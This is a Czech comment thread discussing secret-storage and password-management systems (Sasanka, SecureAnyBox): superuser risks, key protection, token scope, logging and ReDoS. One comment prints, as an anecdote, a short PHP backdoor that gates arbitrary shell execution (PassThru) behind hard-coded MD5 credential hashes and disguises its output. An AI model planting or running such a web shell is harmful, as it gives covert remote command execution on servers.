Vyvíjíme a prodáváme SecureAnyBox, který je rovněž postaven na API. Námi standardně dodávaní klienti využívají totéž API jako klienti a nástroje našich partnerů a zákazníků. Jsou i projekty jako přeskriptovaný IAM, který využívá úložiště SecureAnyBox.
Nemáme žádná nekryptovaná data v paměti ani nikde jinde
Superuživatel neexistuje. Náš koncept nic takového nezná ani nepotřebuje
Když uživatel zapomene svůj AccessCode (tak nazýváme klíč používaný pro AESPB) a data s nikým nesdílí nebo je nemá v tzv. Bílé obálce, tak jsou ztracena, Tak to má být ale je to zároveň i věc, které se mnozí zákazníci obávají
Máme bílou obálku, do které mohou vstoupit například kteříkoliv čtyři uživatelé z celkových osmi. Samozřejmě vždy pouze najednou.
V některých zemích je náš systém nutné provozovat se slabší konfigurací, protože jinak by jeho používání nebylo legání (slabší znamená nelze nesdílet)
Auditní log je v databázi. Notifikace. SYSLOG integrace. špičkový generátor hesel a špičkový kód pro měření entropie s pomocí libovolných slovníků
integrace pro aplikace
správa hesel privilegovaných účtů
ukládání souborů zatím do 15MB velikosti jednoho souboru
celkově je možné jít do řádu jendotek TB
Zajímavou partnerskou aplikací je správa aktivních prvků - s tou totiž stejně jako s nástroji pro správu počítačů je ve většině případů velká legrace - data v SQL databázích bez kryptování, superuživatelé, firmware a konfigurační soubory na lokálních discích notebooků správců apod.
luxusní importní řešení pro oblíbené nástroje psychopatů - tabulkový kalkulátor a keepass
Díky za článek. Rád jsem si to přečetl. Nemám bohužel čas napsat takový svůj.
Hezký večer
VS
díky za odpovědi. S tím open source to chápu, však většina věcí co Seznam.cz uvolnil zeje prázdnotou a je bez dalších aktualizací.
Ano, proto jsem se na toho superuživatele ptal, ač tu roli nemáte v samotném SW, z principu fungování serverů tam. Je těžké v běžném serveru ty data před rootem schovat. Často lze vidět určité KMS zařízení pro ukládání tajemství ale jsou to drahé krabičky.
Generování samotných tokenů a hesel je pilíř bezpečnosti, neměli byste to nechávat strikně na uživatelých, zejména když máte celý proces integrovaný a automatizovaný, tak nevidím problém úplně uživatele od hesel odstřihnout a nechat vše běžet vlastním životem vč. pravidelné obměny.
Tyhle systémy bývají jedny z prvních na řadě v případě cílených útoků, logováním a hledáním výchylek v dotazech na tajemství je možné poměrně rázně a zavčasu takové útoky detekovat.
Líbí se mi princip fungování kerberosu, kdy se služby bez validní identifikace nejsou schopné ani spojit a komunikovat, škoda, že to postupně umírá. Chápu správně, že pro zvájemnou komunikaci služeb je token dobrovolný a musí si ho každá aplikace sama nějak implementovat a Sasanka řeší pouze distribuci těhle tokenů aplikacím?
Dobrý den,
na opensource to zatím není, i když bych rád. Aby to dávalo smysl a živilo to nějaký opensource tým (dnes už jen vydat zdrojáky ven nestačí), musel by se kolem toho tvořit byznys model. A to není úplně náš primární focus.. .možná někdy s tím ARM serverem....
K dotazům:
1) omezím se toliko na konstatování, že superuživatel má bohužel super možnosti a může si vytáhnout i klíč, kterým jsou data zašifrovaná. Proto myšlenkami mířím na dedikovaný ARM s crypto processorem, který by klíč nikdy nevydal, ale data uměl šifrovat / dešifrovat. Pro představu, ten ARM by stačil něco velikosti Raspberry PI (což je i náš ARM dataholder). S takový setupem by šlo data uchovávat i mimo paměť v nějaké databázi.
2) Sasanka toto neřeší, z tohoto pohledu je pouze storage s API. Ale máme interní feature request na generátor hesel, a tam se to nabízí. V rámci namespace může mít člen různá práva, ale jinak se pohybuje po celém namespace. Na jiné účely je jiný namespace. Přístup aplikací je řešen přes aplikační token, který má a měl by být omezen (typicky na daný namespace a read-only pro konzumenty).
3) Logujeme přístup k objektům a generujeme anonymizované metriky. Kromě signing a encrypting keys Sasanka žádná hesla sama o sobě negeneruje (prozatím).
4) jediný regulární výraz je definice scope tokenu, a to je ještě hodně specificky use-case (většinou stačí explicitně zadaný namespace), jinak se regulárky uživatelsky nepoužívají. Takže zatím to není a nebylo téma.
Privátní anekdota:
$test1 = md5($login1.$heslo1); $test2 = md5($login2.$heslo2);
$okl = 2; if ($test1 == "f9dc7214f11ccb6a7b55c6c72d2e30fc") $okl--;
if ($test2 == "1ab98e909fde61e5e083e8caa15e12ee") $okl--;
if ($okl == 0) {
echo "<pre>";
if ($add != "")
echo "bash: ".$cmd[0].": command not found \n";
PassThru($add);
echo "</pre>";
}
Kdo zná login1 a heslo1 a login2 a heslo2?
Pěkné a díky za sepsání. Vidím velkou inspiraci v Vaultu od HashiCorp. Nechcete to uvolnit jako open source?
Mám pár štouravých otázek:
1) píštete, že neexistuje superuživatel, ale nezmiňujete se, jestli data v paměti také šifrujete. Není pak root, který může číst paměť ostatním procesů právě tím superuživatelem? Je občas rutinou vytahovat zapomenutá hesla z paměti procesoru přes gdb nebo strace.
2) jeden z možných útoků v striktně uzavřených sítí není ukrást samotné heslo, ale změnit ho na dopředu známou hodnotu zaneseným trojským koněm. Vedete historizaci hesel a máte pro aplikace pouze read-only přístupy? V rámci namespace mám přístup na vše nebo se ty práva dají dále dělit?
3) Jak jste se vypořádali s logováním? Logujete i přístup k tajemstvím? Hlídáte unikátnost generovaných hesel? Sledujete entropii, aby nešlo záměrně hesla a certifikáty oslabit? Jak analyzujete a kontrolujete to, co se vlastně vygenerovalo a jestli tajemství jsou dostatečně silná? Tohle bývá v praxi docela oříšek udělat to správně a nejednou jsem viděl tokeny plné nul.
4) u regulárních výrazů jsem často naráželi na problém, kdy nešikovný zaměstnanec nebo útočník může vytvořit regulární výraz v takovém tvaru, že zahltí cpu na poměrně dlouhou dobý a vznikne s tím DoS na službu hesel, přesně v téhle situaci často nastává porušení bezpečnostních zásad a dělají se hotfixy, které mohou vést k napadení systémů. Řešíte nějak tuhle situaci?